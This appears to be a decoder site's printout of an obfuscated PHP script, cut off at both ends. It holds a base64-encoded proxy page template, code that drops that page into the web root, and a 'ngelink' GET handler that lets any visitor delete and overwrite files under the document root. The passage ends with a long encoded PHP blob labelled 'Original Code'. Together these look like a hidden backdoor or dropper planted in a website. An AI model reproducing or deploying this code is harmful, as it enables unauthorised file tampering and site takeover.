NCiAgICAgICAgZWNobyAnPGRpdiBpZD0iZXJyb3IiPjxwPic7DQogICAgICAgIA0KICAgICAgICBzd2l0Y2ggKCRkYXRhWydncm91cCddKQ0KICAgICAgICB7DQogICAgICAgICAgICBjYXNlICd1cmwnOg0KICAgICAgICAgICAgICAgIGVjaG8gJzxiPlVSTCBFcnJvciAoJyAuICRkYXRhWydlcnJvciddIC4gJyk8L2I+OiAnOw0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJGRhdGFbJ3R5cGUnXSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2ludGVybmFsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ0ZhaWxlZCB0byBjb25uZWN0IHRvIHRoZSBzcGVjaWZpZWQgaG9zdC4gJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnUG9zc2libGUgcHJvYmxlbXMgYXJlIHRoYXQgdGhlIHNlcnZlciB3YXMgbm90IGZvdW5kLCB0aGUgY29ubmVjdGlvbiB0aW1lZCBvdXQsIG9yIHRoZSBjb25uZWN0aW9uIHJlZnVzZWQgYnkgdGhlIGhvc3QuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ1RyeSBjb25uZWN0aW5nIGFnYWluIGFuZCBjaGVjayBpZiB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0Lic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnZXh0ZXJuYWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkZGF0YVsnZXJyb3InXSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ1RoZSBVUkwgeW91XCdyZSBhdHRlbXB0aW5nIHRvIGFjY2VzcyBpcyBibGFja2xpc3RlZCBieSB0aGlzIHNlcnZlci4gUGxlYXNlIHNlbGVjdCBhbm90aGVyIFVSTC4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ1RoZSBVUkwgeW91IGVudGVyZWQgaXMgbWFsZm9ybWVkLiBQbGVhc2UgY2hlY2sgd2hldGhlciB5b3UgZW50ZXJlZCB0aGUgY29ycmVjdCBVUkwgb3Igbm90Lic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAncmVzb3VyY2UnOg0KICAgICAgICAgICAgICAgIGVjaG8gJzxiPlJlc291cmNlIEVycm9yOjwvYj4gJzsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRkYXRhWyd0eXBlJ10pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBjYXNlICdmaWxlX3NpemUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAnVGhlIGZpbGUgeW91ciBhcmUgYXR0ZW1wdGluZyB0byBkb3dubG9hZCBpcyB0b28gbGFyZ2UuPGJyIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnTWF4aXVtdW0gcGVybWlzc2libGUgZmlsZSBzaXplIGlzIDxiPicgLiBudW1iZXJfZm9ybWF0KCRHTE9CQUxTWydfY29uZmlnJ11bJ21heF9maWxlX3NpemUnXS8xMDQ4NTc2LCAyKSAuICcgTUI8L2I+PGJyIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnUmVxdWVzdGVkIGZpbGUgc2l6ZSBpcyA8Yj4nIC4gbnVtYmVyX2Zvcm1hdCgkR0xPQkFMU1snX2NvbnRlbnRfbGVuZ3RoJ10vMTA0ODU3NiwgMikgLiAnIE1CPC9iPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnaG90bGlua2luZyc6DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICdJdCBhcHBlYXJzIHRoYXQgeW91IGFyZSB0cnlpbmcgdG8gYWNjZXNzIGEgcmVzb3VyY2UgdGhyb3VnaCB0aGlzIHByb3h5IGZyb20gYSByZW1vdGUgV2Vic2l0ZS48YnIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICdGb3Igc2VjdXJpdHkgcmVhc29ucywgcGxlYXNlIHVzZSB0aGUgZm9ybSBiZWxvdyB0byBkbyBzby4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBlY2hvICdBbiBlcnJvciBoYXMgb2NjdXJlZCB3aGlsZSB0cnlpbmcgdG8gYnJvd3NlIHRocm91Z2ggdGhlIHByb3h5LiA8YnIgLz4nIC4gJG1lc3NhZ2UgLiAnPC9wPjwvZGl2Pic7DQogICAgICAgIGJyZWFrOw0KfQ0KPz4NCiAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPz4iPg0KICAgIDx1bCBpZD0iZm9ybSI+DQogICAgICA8bGkgaWQ9ImFkZHJlc3NfYmFyIj48bGFiZWw+V2ViIEFkZHJlc3MgPGlucHV0IGlkPSJhZGRyZXNzX2JveCIgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyAkR0xPQkFMU1snX2NvbmZpZyddWyd1cmxfdmFyX25hbWUnXSA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gaXNzZXQoJEdMT0JBTFNbJ191cmwnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydfdXJsJ10pIDogJycgPz4iIG9uZm9jdXM9InRoaXMuc2VsZWN0KCkiIC8+PC9sYWJlbD4gPGlucHV0IGlkPSJnbyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+PC9saT4NCiAgICAgIDw/cGhwDQogICAgICANCiAgICAgIGZvcmVhY2ggKCRHTE9CQUxTWydfZmxhZ3MnXSBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgICAgew0KICAgICAgICAgIGlmICghJEdMT0JBTFNbJ19mcm96ZW5fZmxhZ3MnXVskZmxhZ19uYW1lXSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAgIGVjaG8gJzxsaSBjbGFzcz0ib3B0aW9uIj48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSInIC4gJEdMT0JBTFNbJ19jb25maWcnXVsnZmxhZ3NfdmFyX25hbWUnXSAuICdbJyAuICRmbGFnX25hbWUgLiAnXSInIC4gKCRmbGFnX3ZhbHVlID8gJyBjaGVja2VkPSJjaGVja2VkIicgOiAnJykgLiAnIC8+JyAuICRHTE9CQUxTWydfbGFiZWxzJ11bJGZsYWdfbmFtZV1bMV0gLiAnPC9sYWJlbD48L2xpPicgLiAiXG4iOw0KICAgICAgICAgIH0NCiAgICAgIH0NCiAgICAgID8+DQogICAgPC91bD4NCiAgPC9mb3JtPg0KICA8IS0tIFRoZSBsZWFzdCB5b3UgY291bGQgZG8gaXMgbGVhdmUgdGhpcyBsaW5rIGJhY2sgYXMgaXQgaXMuIFRoaXMgc29mdHdhcmUgaXMgcHJvdmlkZWQgZm9yIGZyZWUgYW5kIEkgYXNrIG5vdGhpbmcgaW4gcmV0dXJuIGV4Y2VwdCB0aGF0IHlvdSBsZWF2ZSB0aGlzIGxpbmsgaW50YWN0DQogICAgICAgWW91J3JlIG1vcmUgbGlrZWx5IHRvIHJlY2lldmUgc3VwcG9ydCBzaG91bGQgeW91IHJlcXVpcmUgc29tZSBpZiBJIHNlZSBhIGxpbmsgYmFjayBpbiB5b3VyIGluc3RhbGxhdGlvbiB0aGFuIGlmIG5vdCAtLT4NCiAgPGRpdiBpZD0iZm9vdGVyIj48aDI+c3ludGF4IGhlcmUgPC9oMT4gPD9waHAgZWNobyAkR0xPQkFMU1snX3ZlcnNpb24nXSA/PjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=";
$pathS2 = $_SERVER['DOCUMENT_ROOT'].'/'.$bypass.'/'.'index.inc.php';
if(file_exists($pathS2)) @unlink($pathS2);
$contentS2 = base64_decode($by3);
$txtS2 = fopen($pathS2,"a+");
fwrite($txtS2, $contentS2);
fclose($txtS2);
}
if(isset($_GET['ngelink'])){
$linknya = $_GET['ngelink'];
$filex = '';
$path = $_SERVER['DOCUMENT_ROOT'].'/'.$linknya;
if(file_exists($path)) @unlink($path);
$content = base64_decode($filex);
$txt = fopen($path,"a+");
fwrite($txt, $content);
fclose($txt);
}
Did this file decode correctly?
Original Code
<?php
$code = '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